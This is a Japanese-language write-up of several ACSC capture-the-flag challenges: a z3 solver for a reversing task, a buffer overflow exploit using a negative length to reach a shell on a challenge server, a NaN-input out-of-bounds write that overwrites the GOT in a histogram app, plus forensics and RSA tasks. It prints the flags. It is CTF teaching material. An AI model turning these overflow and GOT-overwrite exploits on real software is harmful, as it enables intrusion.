import struct from PIL import Image from z3 import * def u32(x): return struct.unpack('<I', x)[0] with open('distfiles/Tnzr.exe', 'rb') as f: table = io.BytesIO(f.read()) def get_addr(x): table.seek(x) return u32(table.read(4)) def get_row(row, i): return row[i + 13] im = Image.new('L', (15 * 35, 15)) pix = im.load() s1 = 0xd650 - (0x3c30 + 195 * 4) for i in range(0, 31500, 900): print(i) solver = Solver() card = [[Int(f'card_{y}_{x}') for x in range(15)] for y in range(15)] for y in range(15): for x in range(15): solver.add(Or(card[y][x] == 0, card[y][x] == 1, card[y][x] == 2)) s2 = (0x3c30 + 195 * 4) + i s3 = (0x3c30 + 195 * 4) + i v5 = s1 card_ = iter(card) for k in range(15, 0, -1): row = next(card_) v8 = get_row(row, 1) v9 = s2 v10 = get_row(row, 0) v12 = get_row(row, -1) v13 = get_row(row, -2) v14 = get_row(row, -3) v15 = get_row(row, -4) for l in range(15, 0, -1): v16 = get_addr(v9 + v5) - \ ( v10 * get_addr(v9) + \ get_row(row, -8) * get_addr(v9 - 120 * 4) + \ get_row(row, -9) * get_addr(v9 - 135 * 4) + \ get_row(row, -10) * get_addr(v9 - 150 * 4) + \ get_row(row, -11) * get_addr(v9 - 165 * 4) + \ get_row(row, -12) * get_addr(v9 - 180 * 4) + \ get_row(row, -13) * get_addr(v9 - 195 * 4) + \ v8 * get_addr(v9 + 15 * 4) + \ v12 * get_addr(v9 - 15 * 4) + \ v13 * get_addr(v9 - 30 * 4) + \ v14 * get_addr(v9 - 45 * 4) + \ v15 * get_addr(v9 - 60 * 4) + \ get_row(row, -5) * get_addr(v9 - 75 * 4) + \ get_row(row, -6) * get_addr(v9 - 90 * 4) + \ get_row(row, -7) * get_addr(v9 - 105 * 4) ) solver.add(v16 == 0) v9 += 4 s2 = s3 v5 += 60 s1 = 0xd650 - (0x3c30 + 195 * 4) c = solver.check() model = solver.model() for y in range(15): for x in range(15): res = model[card[y][x]].as_long() pix[x + 15 * (i // 900), y] = [255, 128, 0][res] im.save('result.png')
これを実行すると以下のような画像が出力され、フラグが得られた。
![]()
ACSC{WELCOM3_T0_TH3_ACSC_W3_N33D_U}
[Pwn 100] filtered (168 solves)
以下のようなコードが与えられている。なんとかして win という関数に飛ばしたい。main では0x100文字より長い文字列を読み込ませないようチェックがされているが、length は符号付きなので -1 を入力するとバイパスできてしまう。これでバッファオーバーフローができる。
#include <stdlib.h> #include <string.h> #include <unistd.h> /* Call this function! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); exit(0); } /* Print `msg` */ void print(const char *msg) { write(1, msg, strlen(msg)); } /* Print `msg` and read `size` bytes into `buf` */ void readline(const char *msg, char *buf, size_t size) { char c; print(msg); for (size_t i = 0; i < size; i++) { if (read(0, &c, 1) <= 0) { print("I/O Error\n"); exit(1); } else if (c == '\n') { buf[i] = '\0'; break; } else { buf[i] = c; } } } /* Print `msg` and read an integer value */ int readint(const char *msg) { char buf[0x10]; readline(msg, buf, 0x10); return atoi(buf); } /* Entry point! */ int main() { int length; char buf[0x100]; /* Read and check length */ length = readint("Size: "); if (length > 0x100) { print("Buffer overflow detected!\n"); exit(1); } /* Read data */ readline("Data: ", buf, length); print("Bye!\n"); return 0; }
あとは雑にリターンアドレスを win に書き換えてしまう。
$ cat s.py
from pwn import *
s = remote('167.99.78.201', 9001)
print(s.recv(1024))
s.sendline(b'-1')
print(s.recv(1024))
s.send(b'A' * (280) + p64(0x4011d6) * 100)
s.interactive()
$ python3 s.py
[+] Opening connection to 167.99.78.201 on port 9001: Done
b'Size: '
b'Data: '
[*] Switching to interactive mode
$ ls
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
[Pwn 200] histogram (38 solves)
身長と体重を記録したCSVファイルを投げてやると、いい感じにヒストグラムとして表示してくれる便利なアプリケーション。CSVの読み込み部分のコードは次のようになっている。weight < 1.0 || weight >= WEIGHT_MAX というチェックによって範囲外アクセスはできないようになっている。
本当だろうか。よく見ると身長と体重は fscanf(fp, "%lf,%lf", &weight, &height) と double として読み込まれている。もし nan を読み込ませれば、weight < 1.0 も weight >= WEIGHT_MAX も偽になる。その後の (short)ceil(weight / WEIGHT_STRIDE) - 1 で i に -1 が入り、map[i][j]++ で範囲外アクセスができてしまう。
#define WEIGHT_MAX 600 // kg #define HEIGHT_MAX 300 // cm #define WEIGHT_STRIDE 10 #define HEIGHT_STRIDE 10 #define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE) #define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE) int map[WSIZE][HSIZE] = {0}; int wsum[WSIZE] = {0}; int hsum[HSIZE] = {0}; // … int read_data(FILE *fp) { /* Read data */ double weight, height; int n = fscanf(fp, "%lf,%lf", &weight, &height); if (n == -1) return 1; /* End of data */ else if (n != 2) fatal("Invalid input"); /* Validate input */ if (weight < 1.0 || weight >= WEIGHT_MAX) fatal("Invalid weight"); if (height < 1.0 || height >= HEIGHT_MAX) fatal("Invalid height"); /* Store to map */ short i, j; i = (short)ceil(weight / WEIGHT_STRIDE) - 1; j = (short)ceil(height / HEIGHT_STRIDE) - 1; map[i][j]++; wsum[i]++; hsum[j]++; return 0; }
IDA Freewareで map の周囲を見てみると、ちょうど .got.plt が直前に配置されている。適当に書き換えてしまおう。今回は事前に用意された以下の win という関数に飛ばせばよい。
void win(void) { char flag[0x100]; FILE *fp = fopen("flag.txt", "r"); int n = fread(flag, 1, sizeof(flag), fp); printf("%s", flag); exit(0); }
fclose を win に書き換えるようなCSVを作り、ヒストグラムに変換するとフラグが得られた。
$ python3 -c "print('nan,30\n' * 520)" > b.csv; ./histogram.bin b.csv
$ curl -k -i https://histogram.chal.acsc.asia/api/histogram -F csv=@b.csv
...
ACSC{NaN_demo_iiyo}
[Forensics 140] NYONG Coin (26 solves)
E01という拡張子を持つファイルが与えられる。仮想通貨のトランザクションが記録されたファイルがたくさん含まれているのだけれども、どうやらその中のひとつは改ざんされているらしい。改ざんされた箇所を答えろという問題。
FTK Imagerで開いてみると、たしかに.xlsxファイルがたくさんある。ただ、レコードが多すぎてどれが不審なトランザクションなのか全くわからない。諦めてunallocated spaceを眺めていると、PK とか [Content_Types].xml といった文字列が目に入った。ほかにも.xlsxファイルがあるようなので切り出す。別のよく似た.xlsxとともにCSVに変換した上でdiffを取ってみると、ひとつのトランザクションだけ改ざんされていることが確認できた。
ACSC{8d77a554-dc64-478c-b093-da4493a8534d}
[Crypto 100] RSA stream (121 solves)
以下のような chal.py というPythonスクリプトと、n などのパラメータが書かれた output.txt、暗号化されたファイルである chal.enc が与えられる。c = stream ^ q という部分を見ると、暗号化されたファイルと chal.py をXORすれば pow(m, 0x10001, n) と pow(m, 0x10003, n) が得られることがわかる。
import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse from Crypto.Util.Padding import pad from flag import m #m = b"ACSC{<REDACTED>}" # flag! f = open("chal.py","rb").read() # I'll encrypt myself! print("len:",len(f)) p = getStrongPrime(1024) q = getStrongPrime(1024) n = p * q e = 0x10001 print("n =",n) print("e =",e) print("# flag length:",len(m)) m = pad(m, 255) m = bytes_to_long(m) assert m < n stream = pow(m,e,n) cipher = b"" for a in range(0,len(f),256): q = f[a:a+256] if len(q) < 256:q = pad(q, 256) q = bytes_to_long(q) c = stream ^ q cipher += long_to_bytes(c,256) e = gmpy2.next_prime(e) stream = pow(m,e,n) open("chal.enc","wb").write(cipher)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}